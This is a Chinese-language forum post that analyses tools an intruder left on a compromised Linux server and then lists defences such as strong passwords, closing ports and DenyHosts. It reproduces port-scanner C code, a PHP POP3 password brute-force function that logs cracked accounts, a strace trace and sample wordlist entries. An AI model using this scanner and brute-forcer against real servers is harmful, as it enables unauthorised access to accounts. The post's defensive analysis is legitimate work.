找回密碼
 立即注冊(cè)

QQ登錄

只需一步,快速開始

搜索
查看: 2013|回復(fù): 0
收起左側(cè)

函數(shù)調(diào)用過程探究

[復(fù)制鏈接]
ID:99624 發(fā)表于 2015-12-27 03:18 | 顯示全部樓層 |閱讀模式
引言

最近遇到一個(gè)服務(wù)器被hack的問題,服務(wù)器變成了肉機(jī),不斷嘗試破解其他機(jī)器的帳號(hào)。下面我們通過分析黑客在服務(wù)器上留下的工具,了解入門的hack方法、學(xué)習(xí)相應(yīng)的防范措施。

 

hack工具

hacker登入一臺(tái)被入侵的服務(wù)器,通常首先使用"w"命令查看登陸者信息、使用"passwd"命令修改當(dāng)前用戶密碼,然后通過wget,獲取提權(quán)和其他hack工具。hacker一般將工具解壓到目錄名以"."開頭的目錄中,達(dá)到隱藏的效果,以下是此次問題hacker在服務(wù)器上留下的“禮物”:

復(fù)制代碼
linux:/tmp/.ssh # ll
總計(jì) 340
-rw-r--r-- 1 root root   7289 06-03 13:06 pass_file
-rwxr-xr-x 1 root root  17274 06-03 13:20 pscan
-rw-r--r-- 1 root root   6071 06-03 13:10 pscan.c
-rwxr-xr-x 1 root root 302240 06-03 13:06 screen
-rw-r--r-- 1 root root   1444 06-03 13:06 sesion.php
復(fù)制代碼

下面我們對(duì)以上各工具的作用逐一進(jìn)行分析。

 

遠(yuǎn)程會(huì)話管理工具screen

screen主要用于管理多窗口、使進(jìn)程與原始遠(yuǎn)程連接脫離。

 

多窗口管理

有時(shí)我們需要執(zhí)行一些比較耗時(shí)的程序,在這些程序運(yùn)行結(jié)束后,我們才能操作終端。假如在耗時(shí)程序運(yùn)行過程中,還想進(jìn)行其他操作,那就需要另打開遠(yuǎn)程登陸終端。使用screen,可以避免打開多個(gè)登陸終端,下面來看使用screen模擬打開多個(gè)窗口的方法。

在執(zhí)行screen程序前,使用"who"命令可以查到A機(jī)器上有兩個(gè)用戶,分別從本地、遠(yuǎn)程登入:

linux:/tmp/.ssh > who
lx       :0           2012-06-03 10:59
lx       pts/0        2012-06-03 13:05 (192.168.1.102)

通過遠(yuǎn)程pts/0運(yùn)行screen后,進(jìn)入一個(gè)新的命令操作窗口,并增加了一個(gè)遠(yuǎn)程登入:

linux:/tmp/.ssh > who
lx       :0           2012-06-03 10:59
lx       pts/0        2012-06-03 13:05 (192.168.1.102)
lx       pts/1        2012-06-03 15:40

在screen中,我們可以使用"ctrl+a+c"組合鍵創(chuàng)建新的窗口,使用"ctrl+a+n/p"組合鍵在窗口間來回切換。這樣,當(dāng)耗時(shí)程序被執(zhí)行時(shí),我們可以新建或切換到其他窗口,進(jìn)行其他操作。

 

脫離原始遠(yuǎn)程連接

通過遠(yuǎn)程終端執(zhí)行程序,程序尚未退出的情況下關(guān)閉遠(yuǎn)程連接,那么程序也會(huì)跟著中止。這將導(dǎo)致耗時(shí)程序尚未完成工作就退出、編輯中尚未保存的文件丟失。使用screen,可以達(dá)到進(jìn)程不隨遠(yuǎn)程連接關(guān)閉而退出的目的,這也是screen最主要的功能。

在screen窗口下,我們執(zhí)行一個(gè)程序:

linux:/tmp/loop > ./endless_loop 
running...

程序執(zhí)行時(shí),我們將遠(yuǎn)程登陸終端關(guān)閉,在服務(wù)器本地開啟終端,可以看到遠(yuǎn)程終端已經(jīng)關(guān)閉:

linux:/tmp/loop > who
lx     :0        2012-06-03 10:59
lx     pts/0     2012-06-03 20:04 (:0.0)

再來查之前通過遠(yuǎn)程拉起的endless_loop進(jìn)程,可以看到其仍在運(yùn)行,并且screen為其祖先進(jìn)程:

復(fù)制代碼
linux:/tmp/loop > ps -elf | grep endless | grep -v grep
0 R lx        4851  4586 99  80   0 -   926 -      20:24 pts/1    00:00:32 ./endless_loop
linux:/tmp/loop > ps -elf | grep 4586 | grep -v endless | grep -v grep
0 S lx        4586  4585  0  80   0 -  4193 wait   20:02 pts/1    00:00:00 /bin/bash
linux:/tmp/loop > ps -elf | grep 4585 | grep -v grep | grep -v 4586
1 S lx        4585     1  0  80   0 -  1036 -      20:02 ?        00:00:00 ./SCREEN
復(fù)制代碼

 關(guān)于screen的更詳細(xì)資料,可以參看這里。

 

暴力破解帳號(hào)

hacker費(fèi)時(shí)費(fèi)力入侵服務(wù)器,當(dāng)然不會(huì)無欲無求,入侵服務(wù)器后,hacker要不獲取服務(wù)器上的資料信息,要不就是將服務(wù)器變成肉機(jī),用其破解更多服務(wù)器的帳號(hào)。暴力破解服務(wù)器帳號(hào)需要通過某一系統(tǒng)服務(wù),例如pop3、ssh、telnet等,其過程可以分解為兩個(gè)步驟:

  • 掃描服務(wù)器某系統(tǒng)服務(wù)的端口(例如pop3使用110端口,ssh使用22端口)
  • 對(duì)已開放端口的服務(wù)器進(jìn)行密碼破解

 

端口掃描程序

pscan是一個(gè)端口掃描程序,pscan.c是相應(yīng)的源碼。端口掃描功能的實(shí)現(xiàn)并不復(fù)雜,首先分配socket描述符,用目標(biāo)ip、端口號(hào)填充類型為sockaddr_in的結(jié)構(gòu):

connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
connlist[i].addr.sin_family = AF_INET;
connlist[i].addr.sin_port = htons(atoi(argv[2]));

然后調(diào)用connect函數(shù)嘗試建立連接:

復(fù)制代碼
ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
                sizeof(struct sockaddr_in));
if (ret == -1) {
     if (errno == EISCONN) {       //端口打開
           fprintf(outfd, "%s\n",
                  (char *)inet_ntoa(connlist[i].addr.sin_addr));
     }
     if ((errno != EALREADY) && (errno != EINPROGRESS)) {
//對(duì)端端口為關(guān)閉狀態(tài) } } else{ //端口打開
fprintf(outfd, "%s\n",
(char *)inet_ntoa(connlist[i].addr.sin_addr));
}
復(fù)制代碼

通過判斷connect函數(shù)的返回值可知對(duì)端服務(wù)器端口是否開啟,將掃描到的開放端口的服務(wù)器ip地址寫入文件。

 

密碼破解

記錄下已開放端口的服務(wù)器ip地址后,破解程序?qū)⒃俅闻c這些ip地址對(duì)應(yīng)的服務(wù)器進(jìn)行連接,嘗試用大量用戶名/密碼組合進(jìn)行系統(tǒng)服務(wù)鑒權(quán)。文章開頭的sesion.php即是破解pop3帳號(hào)用的php腳本,pass_file文件每一列對(duì)應(yīng)一組用戶名、密碼。

 

各個(gè)系統(tǒng)服務(wù)(pop3、telnet、ssh等)使用的鑒權(quán)方法不同,破解程序的具體實(shí)現(xiàn)方法就各異,相對(duì)而言,pop3暴力破解程序的實(shí)現(xiàn)比較簡(jiǎn)單:

復(fù)制代碼
function POPa($username, $password, $server) {
        $socket = fsockopen($server, 110); // POP3 port
        if (!$socket) {
         
return "cracked"; } $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") {
         return "cracked"; // return the error } fputs($socket, "USER $username\r\n"); // send user $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") {
          return "cracked"; } fputs($socket, "PASS $password\r\n"); // send pass $res = fgets($socket, 512); // read +OK if (substr(trim($res), 0, 3) != "+OK") { return $res; } $fp = fopen("vuln.txt", "a"); fwrite($fp, " $server $username $password\r\n"); }
復(fù)制代碼

首先使用fsockopen函數(shù)與對(duì)端建立連接,然后向?qū)Χ税l(fā)送用戶名、密碼。若發(fā)送密碼之后,收到的回應(yīng)中頭三個(gè)字符為"+OK",即表示鑒權(quán)成功,相應(yīng)的用戶名、密碼為對(duì)端pop3服務(wù)器的一個(gè)帳號(hào)。鑒權(quán)成功后,我們把對(duì)端ip、用戶名和密碼記錄在vuln.txt文件中。

 

使用strace對(duì)以上密碼破解程序進(jìn)行跟蹤,從輸出結(jié)果中,我們能更清晰地了解兩臺(tái)機(jī)器間的交互過程:

復(fù)制代碼
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
fcntl(3, F_GETFL)                       = 0x2 (flags O_RDWR)
fcntl(3, F_SETFL, O_RDWR|O_NONBLOCK)    = 0
connect(3, {sa_family=AF_INET, sin_port=htons(110), sin_addr=inet_addr("213.8.54.xx")}, 16) = -1 EINPROGRESS (Operation now in progress)
poll([{fd=3, events=POLLIN|POLLOUT|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLOUT}])
getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
fcntl(3, F_SETFL, O_RDWR)               = 0
poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3, "+OK Microsoft Exchange Server 20"..., 8192, MSG_DONTWAIT, NULL, NULL) = 99
sendto(3, "USER dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13
poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3, "+OK\r\n", 8192, MSG_DONTWAIT, NULL, NULL) = 5
sendto(3, "PASS dennis\r\n", 13, MSG_DONTWAIT, NULL, 0) = 13
poll([{fd=3, events=POLLIN|POLLERR|POLLHUP}], 1, 60000) = 1 ([{fd=3, revents=POLLIN}])
recvfrom(3, "+OK User successfully logged on."..., 8192, MSG_DONTWAIT, NULL, NULL) = 34
sendto(3, "QUIT\r\n", 6, MSG_DONTWAIT, NULL, 0) = 6
復(fù)制代碼

 

一點(diǎn)啟示

人在江湖漂,難免不中招。為防范hacker入侵,我們可以事先做好哪些工作呢?

設(shè)定復(fù)雜的密碼

我們看下pass_file文件的內(nèi)容,看hacker嘗試用哪些用戶名/密碼破解服務(wù)器帳號(hào):

復(fù)制代碼
⋯⋯
michelle michelle
nobody nobody
Administrator 123456
qwerty qwerty
backup backup
info test12345
shop shop
sales sales
復(fù)制代碼

可見,密碼不能設(shè)置得與用戶名相同,也不能設(shè)為"123456"、"test12345"這類簡(jiǎn)單的密碼。

 

限制端口開放

hacker大多通過服務(wù)器開放的端口進(jìn)行入侵,這就要求我們對(duì)端口進(jìn)行嚴(yán)格的管理。像telnet這樣用的比較少又不安全的服務(wù),大多數(shù)服務(wù)器都應(yīng)該將其關(guān)閉;像ftp這類服務(wù),可以用到的時(shí)候再開啟,用后及時(shí)關(guān)閉。

 

使用第三方工具阻擋攻擊

像以上類型的暴力攻擊,成千上萬次地使用不同帳號(hào)進(jìn)行鑒權(quán),是否可以設(shè)定允許的鑒權(quán)嘗試次數(shù),超過設(shè)定的次數(shù),服務(wù)器則將拒絕來訪ip的連接?

有一些工具幫我們實(shí)現(xiàn)了以上功能,例如DenyHosts這個(gè)工具,DenyHosts通過分析sshd進(jìn)程的日志文件,發(fā)現(xiàn)多次失敗登陸記錄時(shí),會(huì)將來訪ip記錄到/etc/hosts.deny文件,屏蔽來訪ip,從而達(dá)到阻擋ssh暴力攻擊的效果。

 

小結(jié)

本文介紹了hacker常用工具screen的用法,端口掃描程序的實(shí)現(xiàn),暴力破解帳號(hào)的入門方法,最后講了下防范暴力破解的幾點(diǎn)防范措施。

變成肉機(jī)的服務(wù)器7*24h不停地對(duì)各個(gè)網(wǎng)段掃描、破解帳號(hào),因而中招的幾率還是很大的,做好防范措施,不能掉以輕心咯。

回復(fù)

使用道具 舉報(bào)

本版積分規(guī)則

小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術(shù)交流QQ群281945664

Powered by 單片機(jī)教程網(wǎng)

快速回復(fù) 返回頂部 返回列表